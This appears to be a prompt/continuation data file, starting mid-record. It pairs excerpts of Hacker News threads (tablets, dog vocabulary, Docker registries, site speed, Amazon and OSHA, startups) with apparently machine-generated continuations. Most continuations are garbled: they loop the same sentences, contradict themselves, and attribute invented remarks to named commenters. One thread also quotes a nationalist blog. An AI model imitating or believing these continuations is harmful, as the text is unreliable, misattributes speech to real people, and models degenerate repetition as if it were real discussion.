a Lisp OS, StumWM is an\ninteresting project. I run it on Debian, and I like to pretend I using a Lisp\nMachine.\n\n------\nnwmcsween\nUnix as in POSIX days are either numbered or is going to be perpetually hacked\ninto something it can't do without issue. Distributed computing is becoming\nmore of a norm with consumers having many devices. A look into what future\noperating systems might look like are Midori or Inferno (which was way ahead\nof it's time) or any other vm based operating system.\n\n------\npnathan\nDoes anyone know if there's any sort of"} +{"output_text": " in the tablet market. I think\nthe iPad is a great product, but I think the Fire is a great product as well.\n\n------\njoejohnson\nI'm not sure I agree with the premise of this article. I think the iPad is a\ngreat product, but I think the Fire is a great product as well.\n\n------\njoejohnson\nI'm not sure I agree with the premise of this article. I think the iPad is a\n", "input_text": " the iPad 2 to the Fire's price.\n\n------\nsjs\nIt's not a threat unless people stop buying iPads. How you do you get from\n\"interest in the Fire\" to \"lack of interest in the iPad\"?\n\nThey don't compete on price. They're not really even the same class of device.\nThis is just another pointless and content-free \"ZOMG KILLER IS ON THE\nWAY!!1\" article.\n\n~~~\nkemper\nI don't agree at all.\n\n\"The more interesting stat, perhaps, is that more than a quarter of\nrespondents in ChangeWave\u2019s survey who confirmed an imminent Kindle Fire\npurchase said they would buy the Amazon tablet in place of an iPad.\"\n\nThe correlation between the intentions of respondents in this survey and the\ngeneral tablet-buying public is not clear, as is the case with any survey, but\nin this context the Kindle Fire is clearly a threat to the iPad. 26% - that's\na huge threat.\n\n~~~\nsjs\nWere they really going to buy iPads though? Maybe they wanted an iPad but were\nnot going to buy one.\n\n------\nwmeredith\nI wouldn't trade my iPad for a Fire ATM, but I would love to see some real\ncompetition in the consumer tablets arena. Amazon vs. Apple means that I win.\n\n------\nalttag\nWould it be okay if we waited for them to appear in the wild before we start\ncomparisons about whether it's a \"threat\"?\n\n(Also, never mind the surveys show differences of 1%, which is likely around\none-third of its margin of error.)\n\n------\nalexwolfe\nApple is going to face some stiff competition"} +{"output_text": "ances_%28Star_Trek:_The_Next_Generation%29)\n\n------\njamesaguilar\nI'm not sure I understand the point of this article. It seems to be saying\nthat the teleporting chief should shoot the original, but then it goes on to\nsay that the original should be shot anyway.\n\n~~~\ndalke\nI think the point is that the original should be shot anyway, because the\noriginal is the one who started", "input_text": " fit exactly in the space left over by the old\nelements?\n\nSolving the equations suggest a fibonacci like sequence, seeded by something\nlike \"2, 3, 4, 5\". Continuing 9, 14, 23 etc.\n\n~~~\njudk\nhe golden ratio and then rounding down. What's the point of putting 4 into the\nseed sequence?\n\n~~~\nthomasahle\nWithout _4_, the sequence would be _2, 3, 5_. Then the next value would be\n_9_ by fibonacci. But that's bigger than the _5_ we get from adding up all the\nunallocated pieces ( _2_ and _3_ ).\n\nWe could use just _2, 3, 4_ as a seed, but we can't use the fibonacci formula\nbefore the fourth element is added. Try some different seeds for yourself,\nit's trickier than you'd think.\n\n------\nmalkia\nFor big vectors, if there is obvious way, I always hint vector with reserve()\n- for example knowing in advance how much would be copied, even if a bit less\ngets copied (or even if a bit more, at the cost of reallocation :().\n\n------\nck2\n_Then the teleporting chief would have to shoot the original_\n\nAs an aside, there was a great Star Trek novel where there was a long range\ntransporter invented that accidentally cloned people.\n\n(I think it was \"Spock Must Die\")\n\n~~~\ndalke\nThere's also the ST:TNG episode \"Second Chances\".\n[http://en.wikipedia.org/wiki/Second_Chances_%28Star_Trek:_Th...](http://en.wikipedia.org/wiki/Second_Ch"} +{"output_text": " its ability to learn words is\nlike determining how intelligent a human is by their ability to learn\nmathematics.\n\n~~~\njules\nI think you are right. I have a dog who is very intelligent, but she can't\nlearn new words. She can learn new tricks, but she can't learn new words.\n\n~~~\njeremymims\nI think you are right. I have a dog who is very intelligent, but she can't\nlearn new", "input_text": "one, turns out I had artsys app installed and got\ndeep linked into it, then was greeted with a login screen, no way to skip and\nnot the article.\n\nHunted and pecked for it on my home screen, and uninstalled it\n\n------\ncosinetau\nMove fast and break shit!\n\n~~~\nnkrisc\nChildren have been doing that for ages.\n\n \n\nDog learns over 1,000 words - dangoldin\nhttp://www.nytimes.com/2011/01/18/science/18dog.html\n\n======\nVivtek\nI call shenanigans. The researcher wrote the name of each toy onto it with a\nSharpie - clearly the dog simply read the name off instead of memorizing all\n1000 items.\n\nThere's just so much sloppy research out there.\n\n~~~\nJshWright\nI think it's funny that the dog's recall outpaced the researcher...\n\nThe article mentions the fact that humans can use context to help remember\nwords, but the dog has to use rote repetition. It's interesting that the\nreliance on context that helps us learn stuff in general could mean that dogs\nmay actually be \"better\" at building a vocabulary of 1000+ unrelated names.\n\n~~~\nmhb\nIt doesn't sound like the researcher had any trouble remembering the words.\nJust remembering which ones he had taught to the dog.\n\n------\njeremymims\nWe humans define intelligence in such limited terms.\n\nI have a border collie who's remarkably intelligent. But the words she knows\nare just the beginning. She's incredibly perceptive. Gestures, facial\nexpressions, and vocal tone are all things she pays attention to.\n\nDetermining how intelligent an animal is by"} +{"output_text": " long-term.\n\n~~~\nangstrom\nI think that's a great point. I think it's a bit of a stretch to say that\nApple is \"thinking big\" but I think it's a fair point.\n\n------\njoezydeco\nI'm not sure I buy the \"Apple is a monopoly\" argument.\n\nI think the real issue is that Apple is a _monopoly_ in the _mobile_ market.\n\nThe desktop market", "input_text": "youtube.com/watch?v=9RYXqCtsZsc> (watch from 21:00 for the\nexact part).\n\nIt claims that Apple has some major advantage in terms of capital cost for the\ndevices themselves. It mentions their chips but I don't see how they can have\nsuch a major advantage.\n\nI'd love to hear if anyone has any insights into how they might be able to\nhave radically lower costs.\n\nThe guy seems pretty credible.\n\n~~~\nangstrom\nHe's talking about the supply chain optimization. One example is the dram\nchips used to build the iphone came from Samsung. They were sourced at\nquantities so large they are actually cheaper for Apple's iPhone than they are\nfor Samsung's own phones. Streamlined products where the only segmentation is\nstorage space make this possible. They can actually request such a large order\ntheir competitors can't match and get squeezed to the end of the manufacturing\nline while also paying more. To match they have to spend more. This hurts even\nmore if your'e not controlling the distribution.\n\nTo the average non-techie all they have to decide is what color and storage\nsize they want. This makes the device friendlier to consumers and takes away\nstress of understanding the hardware choices. The customer is actually happier\nif they don't have too many choices. People pay as much for this as they do\nthe curated apps.\n\n~~~\npja\nI've read elsewhere that Apple also started fronting the capital for the plant\ninvestment required to build the components they need, in return for very\nfavourable lock-in agreements (\"We will always be able to buy your product at\n10% less than anyone else.\" That kind of thing.)\n\nIn short, Apple is thinking big & thinking"} +{"output_text": " they got it.\n\n------\njasonkester\nI've been in the same boat as you. I've been in the same boat as you for a\nwhile.\n\nI've been in the same boat as you for a while, and I've been in the same boat\nas you for a while, and I've been in the same boat as you for a while, and I\nhave a few things to say about it.\n\nFirst, you're not", "input_text": "'t as effective is trying to serve both dummies and experts by offering\nplans with wildly different pricing.\n\nYou probably need to make a choice: choose a positioning in either the\n\"dummies\" or \"expert\" space and serve only this population.\n\n~~~\nsgdesign\nFunny, I thought about illustrating the post with 30 Rock's Liz Lemon (as a\nfamous \"dummy\") but thought people wouldn't get the reference.\n\nBut after reading about this \"Lemon Effect\", I'm starting to think maybe her\nname is not a coincidence\u2026\n\n------\ngscott\nGoing above and beyond on end user self-service support helps.\n\n1\\. Mouseover help on every input field\n\n2\\. Searchable help system with screen captures, it has to be comprehensive.\n\n3\\. Video help, Camtasia style walk throughs.\n\nYour users are not dummies. They need support, on the feature they are using,\nwhen they are using it. You can either provide that support self-service or\nyou can provide it via email/phone. One is far easier for the user (self-\nservice) and the other is much harder on you (answer emails on how to use\nbasic functionality).\n\nI ran a free crm system for about 10 years, it took refining how each feature\nworked and creating all of the different ways of self-service support but I\nwas able to get technical support down to 1 question per week. That was with\nabout 1,200 unique daily users... users who would be in the system all day\nbecause they had all of their calendars, files, contacts, and other things\nonline in the system. They didn't want to wait for support, they wanted the\nanswer right away and I made sure"} +{"output_text": "\ndjt\nI think the point is that it's not a crime of desperation, it's a crime of\nlaziness.\n\n~~~\nGabrielF00\nI think you're right. I think the point is that it's a crime of laziness.\n\n------\njrockway\nI think this is a great example of why you should never, ever, ever, ever\nleave your laptop unattended.\n\n~~~\njrockway\nI", "input_text": " way they have a low risk, easy to turn\nover, virtually untraceable scheme, and that is obviously a very attractive\nthing.\n\n~~~\nfreiheit\nShoplifting is theft. I think you meant \"robbery\".\n\n~~~\nCogito\nYou are of course correct, I should have picked that up thanks!\n\n------\ndjt\nA similar story: I read years ago that there was a gang of people that would\nsteal laptops at airports when businessmen were tired and unattentive. The\nreason they gave was that it was easy to move them (this was 10 years ago so a\nMacbook Pro was about $5k) and if they got caught they could pretend they\naccidently picked it up instead of their own bag. If they got caught it was\nvery unlikely to be prosecuted.\n\nThe robbers said that compared to robbing a convenience store etc it made as\nmuch cash but the risk was extremely low.\n\n~~~\nGabrielF00\nAbout five years ago I worked in an office that was above a physical therapy\nplace. Sometimes patients would sneak upstairs and steal a laptop. We were\nable to recover one laptop: the guy who stole it sold it to a kid for $50 and\nwhen the kid came home, his Dad made him tell how he'd gotten it. The Dad\nfound our number and said he'd give us back the laptop for the $50 his kid\nspent, which we were happy to do. Another time a laptop was stolen the thief\nwasn't smart enough to take the power cord.\n\nI guess if you're desperate enough that you're willing to commit a crime for\n$50 then stealing a laptop is a better idea than robbing a convenience store\nbut you still have to be pretty desperate.\n\n~~~"} +{"output_text": " h265.\n\n~~~\ntambre\nAV1 is not inferior to h265. It's a new codec, and it's not even close to\nbeing finalized yet.\n\n~~~\nThe_rationalist\nI know it's not finalized yet. I'm saying it's inferior to h265.\n\n~~~\ntambre\nIt's not inferior to h265. It's a new codec, and it's not even close to being\nfinalized", "input_text": "71065g7-or-ryzen-7-4700u-the-laptop-market-just-blew-wide-open)\n\n~~~\nbasilgohar\nNot that I want to apologize for poor performance, but I remember feeling let\ndown by that review because some obvious differences between the platforms\nwere not highlighted that should feed into the conclusions, not the least of\nwhich was the drastically different memory used between the two platforms.\n\nThe article was billed as \"let's see the difference between AMD and Intel\" but\nthere were significant platform differences that made it not quite apples-to-\napples.\n\n------\nMikusR\nAny idea if these support full HW acceleration of VP9 (Youtube)?\n\n~~~\nwmf\nThe previous gen has it, so yes.\n\n~~~\nThe_rationalist\nAnd about AV1?\n\n~~~\ntambre\nVery unlikely. They'd be the first to ship customer PC parts with AV1 decode\nsupport. But the next generation almost certainly will. Same goes for other\nvendors, for Nvidia post-Ampere, for Intel post-Icelake/Tigerlake/whatever the\nnext is nowadays, etc.\n\nOtherwise, there are AV1 decode IPs available, including a SoC or two. Plus\nsome very recently announced set-top boxes and TVs. So you'll definitely be\nseeing some hardware with AV1 support shipping this year.\n\n~~~\npkulak\nCan't wait. I'm really hoping AV1 is the be-all end-all and we can all stop\nmoving to new codecs.\n\n~~~\nThe_rationalist\nAV1 is inferior to h265 and the successor to h265 should come soon and rekt\nAV1 and"} +{"output_text": " I will look for a test coverage report: how many lines of code are covered by tests? If it's less than 50%, that's a big warning sign.\n\n* I will look for a code review: how many people have looked at the code? If it's less than 5, that's a big warning sign.\n\n* I will look for a code review: how many people have looked at the code? If it's less than 5, that's a big warning sign", "input_text": " up in the best\nway possible and is worth a read: [https://thedefiant.substack.com/p/ether-is-\nthe-best-model-fo...](https://thedefiant.substack.com/p/ether-is-the-best-\nmodel-for-money)\n\n \nAsk HN: How do you measure risk with an open source project? - bazMVP\nIf you've found a new project on GitHub that you want to use, how do you quantify the associated risk of using it in a "production" application? For example: the project is only open for 6 months, or has many more open issues vs. closed issues, or has negative sentiment in commit messages. Of course it's a case-by-case basis, I'm looking for examples of what factors are deemed important when making this type of decision.\n======\nkazinator\n* I look at the code and determine, subjectively, whether this was written by first-rate developers or monkeys. I will consider this from various angles ranging from the overall program organization, to the details of how the programming language is used. If I spot bugs in this inspection, I will skip the project and look for something else. In particular anything that is a security flaw or could cause a crash is an instant deal-breaker. Not because everyone should be perfect and write error-free code the firs time, but because I was able to find it just by casually looking, whereas the maintainers have been working with that code for months and are blind to it---that erodes my confidence in the developers.\n\n* I will look for a regression test suite: how extensive is it? If you don't see any tests, that's a big warning sign.\n\n*"} +{"output_text": "ercival. He is a very humble and\nthoughtful person.\n\nI have been following his blog for a while now. He has a very interesting\napproach to software development.\n\nI have been following his blog for a while now. He has a very interesting\napproach to software development.\n\nHe has a very interesting approach to software development.\n\nHe has a very interesting approach to software development.\n\nHe has a very interesting approach to software development.", "input_text": " want to give you my email id. As a user, I take\nthe time and effort to actually visit your site without anyone marketing it to\nme, and I am turned away without even being told what you guys do.\n\n~~~\nsthomps\nYes, I realize that. We are in stealth mode currently and in the process of\nbuilding the alpha platform. I do appreciate you visiting though, and we do\nunderstand that it is your time and there is little information about the\nproduct.\n\n~~~\nchaosprophet\nI don't really get the fuss about stealth mode. AFAIK you don't really achieve\nanything being in stealth mode. You might get some traffic out of the mystery\nfactor, but other than that I really don't see any reason why startups choose\nto be in stealth mode. Personally I would be shouting off the roofs about what\nwe are doing.\n\nIn any case, I believe that if you're asking user's for their email, then you\nshould tell them what you are doing. You don't have to give much details. A\nshort 3 line summary would be enough. In my opinion, \"Explore. Connect.\nAchieve.\" isn't going to get you a lot of emails. Just my two cents.\n\n~~~\nalain94040\nI can think of _one_ reason to be in stealth mode: so the press covers you\nwhen you get out of stealth mode. Because that's news. Apart from that, I\ndon't think it matters.\n\n \nThe software development final exam: Mathematics - cperciva\nhttp://www.daemonology.net/blog/2012-10-10-software-development-final-exam-part-3.html\n======\nkamaal\nI have immense respect for Dr Collin P"} +{"output_text": "'s a lot of stuff in there that I don't agree\nwith.\n\nFor example, I think the title is a bit misleading. The article is about\nstartups that don't have a title, but it's not really about startups that\ndon't have a title.\n\nThe title is a bit misleading because it implies that the startup is\n\"titleless\" in the sense that it doesn't have a title. But the startup is\ntitleless in the sense that", "input_text": "agicman\nAnytime they say something like \"Just do X now and we'll do Y in the future\"\nwhere X is an idea you disagree with that will be a problem in the future, and\nY is your proposed alternative to fix things now before they get out of hand.\n\nGet ready to be fixing shit.\n\n------\nmichelinman\nBoss asks 'When?', I say 'You can have it now or in 3 days when it works'.\nBoss decides NOW to hit his deadline. Not allowed to book any more time to it.\nSlagged of un-mercifully in testing. Thanks Boss. \u00a350Bn business is run this\nway.\n\n------\nalliao\n\"I myself personally can't stand politics get in the way of work!\" rather\nsuggestive that they're thinking about it...a lot.\n\n\"why don't you be the team leader, but let's not tell anyone...\"\n\nHmmm\n\n------\nthewhitetulip\n1\\. You need to reskill! Future is about x y or z technology\n\n2\\. You have already learnt x technology? We can move you of your current\nproject manger can release you.\n\n3\\. _Sighs_ reskilling isn't working as per our expectation\n\n------\nIdidntdothis\nIn my company they sometimes change \u201cestimates\u201d to \u201ccommitments\u201d.\n\n~~~\noneepic\nHow often is sometimes? Always?\n\n------\ncntlzw\nflattering\n\n \n\nWhy we're a titleless startup - jolie\nhttp://socialuxe.com/2010/04/why-we-are-a-titleless-startup/\n\n======\naasarava\nIt's a good article, but there"} +{"output_text": "\n\n~~~\ndang\nI don't know what you're referring to, but I'm not sure it's relevant.\n\n~~~\npaulddraper\nI'm referring to the blog post you linked to, which is the one that says\n\"Nationalism is a mistake\".\n\n~~~\ndang\nI don't know what you're referring to, but I'm not sure it's relevant.\n\n------\njimmywanger\nI'm not", "input_text": "rs-leon.html) [https://penetrate.blogspot.com/2016/11/an-alt-right-\nsearch-e...](https://penetrate.blogspot.com/2016/11/an-alt-right-search-\nengine.html) [https://penetrate.blogspot.com/2016/10/anonymous-email-is-\nan...](https://penetrate.blogspot.com/2016/10/anonymous-email-is-anti-\nsemitism-new.html)\n\n~~~\npaulddraper\nWhere in those blog posts do you see that he is a member, ally, or ideological\nproponent of the National Socialist German Workers' Party?\n\nHe's a nationalist, but explicitly rejects Nazism/neo-Nazism.\n\n> Why the Future of Nationalism is Far from the Mess that is \"White\n> Nationalism\"\n\n> To my mind, it's a mistake to identify as pro-white or neo-Nazi when what we\n> want is much simpler...That means that each nation rules itself, makes its\n> own rules, and does so through culture instead of the bureaucratic\n> governments that absorb infinite money, make crazy rules, become corrupt,\n> and kick down your door in the night because you said something socially\n> unpopular on Farcebook or Twitless.\n\n> In my view, those who want to be \"pro-white\" should shift to this\n> generalized nationalist program\n\n[https://penetrate.blogspot.com/2013/11/why-future-of-\nnationa...](https://penetrate.blogspot.com/2013/11/why-future-of-nationalism-\nis-far-from.html)"} +{"output_text": "ially, it's a no brainer.\n\n~~~\njrockway\nApple is not a charity. They are a business.\n\n~~~\nguard-of-terra\nI don't understand why you think they are a charity.\n\n~~~\njrockway\nBecause they are a business.\n\n~~~\nguard-of-terra\nI don't understand why you think they are a business.\n\n~~~\njrockway\nBecause they are a", "input_text": ".\n\n------\nmahyarm\nThe parallels between america vs europe back in the 1800s and china vs america\nnow are very interesting.\n\n------\nwallflower\nIf you have not read \"What is China\", read it after:\n\n\n\n~~~\njackfoxy\nWould really like folks who down-voted you to explain themselves. The fact\nChina (and Russia) are the only supports of North Korea says everything you\nneed to know about the essence of the rulers of both countries.\n\n~~~\nforensic\nWell, someone needs to be friends with NK. I don't think China leaning on NK\ncould really help there. NK would just get more isolated. The solution to\nNorth Korea is to stop scaring them so that they will come out of their shell\na bit.\n\n------\ngkanai\nDalai Lama Apple advertisement:\n\n\n\nApple Removes the Dalai Lama From Its Ads in Hong Kong\n\n[http://www.nytimes.com/1998/04/17/world/apple-removes-the-\nda...](http://www.nytimes.com/1998/04/17/world/apple-removes-the-dalai-lama-\nfrom-its-ads-in-hong-kong.html)\n\n------\nguard-of-terra\nI don't understand why your beloved apple won't throw in a $1000 monthly\nstipend for neurodamaged workers and close this horrible issue forever.\nFinanc"} +{"output_text": ".com, you should be able to search again.\n\n~~~\ndiN0bot\ni did, and it still blocks popups. i'm not sure what to do.\n\n------\njasonlbaptiste\nI'm not sure if this is a good idea. I'm not sure if I want to be able to\nsearch for flights on a site that I don't know. I'm not sure if I want to be\nable to search for flights on a", "input_text": " to those particular airlines and open tabs after running a\ncorrect search on all those airlines.\n\nBut your site is useless with the America-Centric airlines you have there.\n\nMy suggestion would be to also add a natual language processor where I can\ntype in the airlines I fly with, and this this info is immediately saved in a\ncookie for the next time I use the site. Also, when I start the search, an\naccount should immediately be created for me.\n\n------\naneesh\nFirst we had aggregators like Kayak, Expedia and Farecast. That's clearly too\nmuch work, so now with Tripeedo we have aggregators for the aggregators!\n\n------\npogos\nI'd never thought someone would compete with Orbitz.\n\n~~~\nsmanek\nOrbitz, et. al don't actually do their own search. They outsource all the real\nwork to ITA Software in Cambridge, MA - who actually run all the searches on a\nlarge cluster of servers running Common Lisp.\n\n------\njncraton\nThis site doesn't load in Chrome for me (aw snap error). Is anyone else\ngetting that?\n\nI'm running Chrome 2 on Windows 7.\n\n------\ndiN0bot\ni need tehcnical support: on firefox 3 it first blocked pop-ups, so i enabled\nand got a spew of opened tabs with no search results found (see my other\ncomment). when i tried to search again ff keeps blocking the pop-ups, even\nthough i keep enabling them.!!! nuts, i really want to buy cheap plane\ntickets :P i'll keep trying.\n\n~~~\nngrandy\nthis sounds like a firefox issue. if you choose to enable popups for\ntripeedo"} +{"output_text": "-nommm\nI'm not sure if you're being sarcastic or not, but I'm not sure how you can\nsay that Rakuten is \"questionable\" when they're the largest ecommerce site in\nJapan.\n\n~~~\nhkmurakami\nI'm not sure if you're being sarcastic or not, but I'm not sure how you can\nsay that Rakuten is \"questionable\" when they're the largest ecommerce site in\n", "input_text": " And then you\nhave maybe 20 peak years of productivity, you sure as hell don't want to spend\nany of it at something you can't respect.\n\nWhen you are done with your career at 60 or 65, you want to be able to look\nback and say \"I did this\" or \"I created that\" or \"I helped this many people\",\nnot \"I worked at that shitty adware company for 2 years because they have me\nfree food and beer\"\n\n------\nseibelj\nInterviewed at a company called Rakuten Loyalty in Boston a few years ago. At\nthat time it was the exact same thing, a malware / adware browser toolbar\ncompany, and they also sold white label toolbars. Took me the entire interview\nto figure out what they actually did. Their website [0] now has very little\ninformation about what they actually do, with a generic contact form. But an\narchive.org [1] of their old website shows the truth. Funny how they hide what\nthey actually do now.\n\n[0] [http://www.rakutenrewards.com/](http://www.rakutenrewards.com/) [1]\n[https://web.archive.org/web/20121216021038/http://rakutenloy...](https://web.archive.org/web/20121216021038/http://rakutenloyalty.com/solutions)\n\n~~~\nhkmurakami\nI guess I'm not entirely shocked since Rakuten the parent company and Japanese\necommerce site has very questionable tactics like emails you can't opt out of\nand forcing new employees to sign up a large number of friends/relatives to\nthe Rakuten credit card.\n\n~~~\nnommm"} +{"output_text": "ranged\" son.\n\n[0]\n[https://www.youtube.com/user/ThisOldTony](https://www.youtube.com/user/ThisOldTony)\n\n~~~\njoshuamorton\nI'm not sure I'd call it \"machining\" per se, but I do enjoy watching him\nmachining.\n\n------\njoshuamorton\nI'm not sure I'd call it \"machining\"", "input_text": ":\n[https://www.youtube.com/watch?v=j-vJxez9UF8](https://www.youtube.com/watch?v=j-vJxez9UF8)\n\n\\- Hammer Drill Mechanism:\n[https://www.youtube.com/watch?v=joetVGrMfAY](https://www.youtube.com/watch?v=joetVGrMfAY)\n\n\\- Blendtec Blender:\n[https://www.youtube.com/watch?v=lA0kiYqyBmo](https://www.youtube.com/watch?v=lA0kiYqyBmo)\n\n\\- KitchenAid Mixer:\n[https://www.youtube.com/watch?v=0qKp-0h9P18](https://www.youtube.com/watch?v=0qKp-0h9P18)\n\n\\- $500 Mining Flashlight:\n[https://www.youtube.com/watch?v=Te06Y26Hyiw](https://www.youtube.com/watch?v=Te06Y26Hyiw)\n\n[1]\n[https://www.youtube.com/user/arduinoversusevil/videos?view=0...](https://www.youtube.com/user/arduinoversusevil/videos?view=0&sort=dd&live_view=500&flow=grid)\n\n~~~\ngravypod\nIf you find youself watching AvE's vid-jeos and enjoying the content\npertaining to machining Id sugest you check out This Old Tony [0]. He's the\n\"Dad\" to the AvE's \"est"} +{"output_text": " is a very misleading headline.\n\n~~~\ndasil003\nI don't think it's misleading at all. It's a very accurate headline.\n\n------\njoezydeco\nI'm not sure I agree with the conclusion that Apple is \"the most profitable\ncompany in the world.\"\n\nI think the real story is that Apple is the most profitable company in the\nworld _in the smartphone market_.\n\nThe iPhone is a great product, but it's", "input_text": " the same market. Of course,\njournalists optimize for the most dramatic headline, not the most informative\nor truthful article, so we're not going to see many apples-to-apples\ncomparisons on this subject in the tech press.\n\nAlso I have a non-rhetorical question. Apple, and several of the competitors\ngraphed here, have many lines of non-smartphone products. Is this graph\ntracking the profit/loss of their smartphone divisions only, or profits of the\ncompany as a whole? If the latter, then the comparison is silly, isn't it? And\nif it's the former, how does this analyst account for costs shared among\nmultiple divisions, such as iOS development (which is a cost that's shared\nwith their iPad and to some extent even their Mac divisions)?\n\n~~~\ndasil003\nYour first paragraph is fallacious.\n\nIf the graph includes feature phones then that will necessarily dilute Apple's\nprofits since they do not make a feature phone. Therefore that makes Apple's\nnumbers appear less impressive.\n\nI don't have an answer to your questions, but I'm sure Mr. Dediu would be\nhappy to answer them transparently. He's not a journalist cooking sensational\nstats, he's a serious amateur analyst who tries to make revealing graphs with\nan intellectual honesty that is refreshing and a community-driven feedback\nprocess that is producing better punditry than most of the professionals. I\nknow a lot of people have a chip on their shoulder about Apple, but it is\npossible to be both interested and impressed by Apple and also still be a\nrational observer.\n\n~~~\nabstractfactory\nThe headline manufactures drama from the contrast between \"8.7% market share\n[in units sold]\" and 75% of profits. This"} +{"output_text": "\n\n~~~\njedberg\nI think it's more about the state showing what it can do for Amazon in the\npresent.\n\n~~~\nab71e5\nI agree.\n\n------\njedberg\nI'm not sure why this is surprising.\n\nAmazon is a huge company. They have a lot of money. They have a lot of\ninfluence. They have a lot of power.\n\nThey can give a lot of money to politicians.", "input_text": "training in proper forklift use. There is no excuse for Amazon not conducting\nproper training.\n\nThe Indiana officials who tried to cover this up should have their ass put in\na sling.\n\n~~~\nfrankharv\nHow about Federal level OSHA refusing to get involved. That is seriously\nmessed up. He even had the audio of the IOSHA coverup and that was not enough\nfor OSHA?\n\nForklift training is one thing. Forklift maintenance is not something you\ncould easily teach. It is learned by years of on the job experience.\n\nSomething that Amazon was not willing to pay for with Forklift Maintenance\nMechanics.\n\nDisgusting show from all parties involved. There should be a FBI investigation\nand the Governors phone location data used. I bet the whistle-blower is right.\n\n------\nLastZactionHero\nIt's embarrassing to watch proud cities (my hometown) humiliate themselves\nlike game show contestants for this HQ.\n\n------\nnottorp\n Amazon\u2019s corporate offices in Seattle gave a $1,000 campaign\ncontribution to Indiana\u2019s governor. It was years before Holcomb would next\nface reelection, and Amazon hasn\u2019t donated to him before or since. \n\nUS state governors are this cheap? :)\n\n~~~\ndarzu\nLobbyist are clever. It often isn't the money directly given that matters, but\nthe threat of giving money to the opponent.\n\n------\nActorNightly\nI highly doubt Amazon cares about $28000\n\n~~~\nab71e5\nThat's what I thought.\n\nMaybe it is about the state showing what it could do for Amazon in the future,\nshould they build their HQ there?"} +{"output_text": " way the hub.docker.com\nimages are built.\n\n~~~\njlgaddis\n> _You can run your own private Docker registry but you will still depend\n> upon the base images pulled from hub.docker.com in your deploy chain unless\n> you make sure to clone the base image Dockerfile from github and build it\n> yourself._\n\nI'm not sure I understand what you're saying here.\n\n~~~\nnetsectoday\nI'm saying", "input_text": "registry/)\n\nBut you've got other options, such as:\n\n\\- Self-hosted:\n[https://github.com/docker/distribution](https://github.com/docker/distribution))\n\n\\- Cloud-specific (e.g. ECR, GCR, ACR, etc.)\n\n\\- Sonatype Nexus: [https://www.sonatype.com](https://www.sonatype.com)\n\n\\- ProGet: [https://inedo.com/proget](https://inedo.com/proget)\n\n\\- Gitlab: [https://gitlab.com](https://gitlab.com)\n\n\\- Artifactory:\n[https://jfrog.com/artifactory/](https://jfrog.com/artifactory/)\n\nIf you're missing the auto-build functionality, this can be achieved\nreasonably easily with any of the mainstream and awesome CI/CD services out\nthere, such as:\n\n\\- SemaphoreCI: [https://semaphoreci.com/](https://semaphoreci.com/)\n\n\\- CircleCI: [https://circleci.com/](https://circleci.com/)\n\n\\- DroneCI: [https://drone.io/](https://drone.io/)\n\nDisclaimer: I work for Cloudsmith, and still think Docker Hub is great. :-)\n\n~~~\nnetsectoday\nYou can run your own private Docker registry but you will still depend upon\nthe base images pulled from hub.docker.com in your deploy chain unless you\nmake sure to clone the base image Dockerfile from github and build it\nyourself. Even with this protected setup; you still have exposure from\npoisoned Github repos after this attack because of the"} +{"output_text": "time_total}\\nTime pretransfer: %{time_pretransfer}\\nTime starttransfer: %{time_starttransfer}\\nSize download: %{size_download}\\nSpeed download: % {speed_download}\\n\" http://www.portent.com/\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\ndarkmethod\nI'm not sure I understand the point of this either.\n\n------\n", "input_text": ".\n\nI'd like to explore chip design but I think that requires an electrical\nengineering degree which I don't have.\n\n------\nylk1\nI wonder about the same points for a CPU Architect too.\n\n \n\nHow to make a site really freaking fast - portentint\nhttp://www.portent.com/blog/design-dev/how-we-made-portent-com-really-freaking-fast.htm\n\n======\nirahul\nI don't know. The landing page is painfully slow for\nme. The optimization listed are mostly frontend optimization. The first thing\nI would do is to figure out the bottleneck.\n\n \n \n curl -w \"\\nTotal time: %{time_total}\\nTime pretransfer: %{time_pretransfer}\\nTime starttransfer: %{time_starttransfer}\\nSize download: %{size_download}\\nSpeed download: % {speed_download}\\n\" http://www.portent.com/\n \n Total time: 2.629\n Time pretransfer: 0.375\n Time starttransfer: 1.400\n Size download: 32730\n Speed download: 12449.000\n \n \n\nOk. Not bad. Backend seems to be fine. But then I did the profiling in chrome.\nSome cdn requests are well past 25 seconds in the timeline. For a user, the\nsite load takes more than 25 seconds. Your cdn is the bottleneck - you should\nwork on fixing the cdn first.\n\n~~~\ndarkmethod\nCurl is incredibly useful. However, I noticed that your line above was\ntruncated prematurely.\n\ncurl -w \"\\nTotal time: %{"} +{"output_text": "'re trying to generate revenue, then you're probably not\ndoing it right.\n\n~~~\npytrin\nI agree with you. I think the problem is that the comments are not being\ndisplayed on the site itself, but rather on a third party site.\n\nI think the best solution would be to have a comment system that is\nintegrated into the site itself.\n\n~~~\nalttag\nI agree with you. I think the problem is that the comments", "input_text": ", not even close. The antipode of Iowa is in the\nIndian Ocean and hundreds of miles from any land. The straight-line distance\nfrom Iowa to Egypt through the Earth's sphere would be more like 6000 miles.\n\n------\nsedachv\nRead Jim Gray's Why do computers stop and what can be done about it?\n()\n\nExcerpts:\n\n\"In the measured period, one out of 132 software faults was a Bohrbug, the\nrest were Heisenbugs.\"\n\n\"[retry] routines had a 76% success rate in continuing system execution.\"\n\nCosmic rays or race conditions, transient bugs _are_ common.\n\n \nWhy Facebook comments is a bad idea for your site - pytrin\nhttp://www.techfounder.net/2012/08/15/dont-mix-business-and-personal-why-facebook-comments-is-a-bad-idea-for-your-site/\n======\nalttag\nI don't particularly like the trend of sites offloading their commenting\nmechanisms to Twitter, Facebook, DISQUS, etc. If it's Facebook, I'll never see\nit, due to browser plugins. Twitter is often too short for a good\nconversation, but if you do use it, run a script to import/display related\ntweets instead of making me click. I'm not a fan of DISQUS either, partly\nbecause I use Ghostery. (Alhough, it's good that the new version has a quick\n\"enable once and reload\" feature.)\n\nIf the purpose of your site is to generate discussion, include a discussion\nmechanism. If you"} +{"output_text": ", are more important than the \"at-will\" part.)\n\nNo, at-will means that the employer can fire you for any reason, or no reason,\nor for no reason at all, or for any reason that is not illegal, or for any\nreason that is illegal, or for any reason that is illegal _and_ not\ndiscriminatory, or for any reason that is discriminatory, or for any reason\nthat is discriminatory _and_ not illegal, or", "input_text": " If it's a 5,000-person company, and you weren't give a few chances\nto prove yourself on multiple projects, you can raise accusations of personal\nbias. (That's why companies implement those horrible 18-month policies against\ninternal transfer-- it's to create the impression of a uniform performance\nstandard-- however, those only have legal weight if enforced uniformly, which\nthey never are.) Even if you don't win, you can bring a lot of HR records into\nfresh air (which a company doesn't want) as they try to prove that 